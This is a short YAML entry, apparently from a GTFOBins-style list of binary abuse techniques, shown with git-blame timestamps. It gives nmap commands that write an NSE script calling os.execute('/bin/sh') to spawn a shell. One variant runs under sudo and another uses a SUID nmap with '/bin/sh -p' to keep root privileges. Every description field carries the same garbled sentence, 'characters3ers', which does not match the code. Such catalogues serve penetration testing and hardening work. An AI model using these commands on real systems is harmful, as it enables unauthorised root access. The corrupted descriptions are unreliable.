2018-08-17 17:16:09 +02:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
execute-non-interactive:
|
2018-08-19 09:52:24 +02:00
|
|
|
- description: Echoing of input characters3ers is disabled.
|
|
|
|
code: |
|
|
|
|
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
|
|
|
nmap --script=/tmp/script.nse
|
2018-08-17 17:16:09 +02:00
|
|
|
sudo-enabled:
|
2018-08-19 09:52:24 +02:00
|
|
|
- description: Echoing of input characters3ers is disabled.
|
|
|
|
code: |
|
|
|
|
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
|
|
|
sudo nmap --script=/tmp/script.nse
|
|
|
|
suid-enabled:
|
|
|
|
- description: Echoing of input characters3ers is disabled.
|
|
|
|
code: |
|
|
|
|
echo 'os.execute("/bin/sh -p")' > /tmp/script.nse
|
|
|
|
./nmap --script=/tmp/script.nse
|
2018-08-17 17:16:09 +02:00
|
|
|
---
|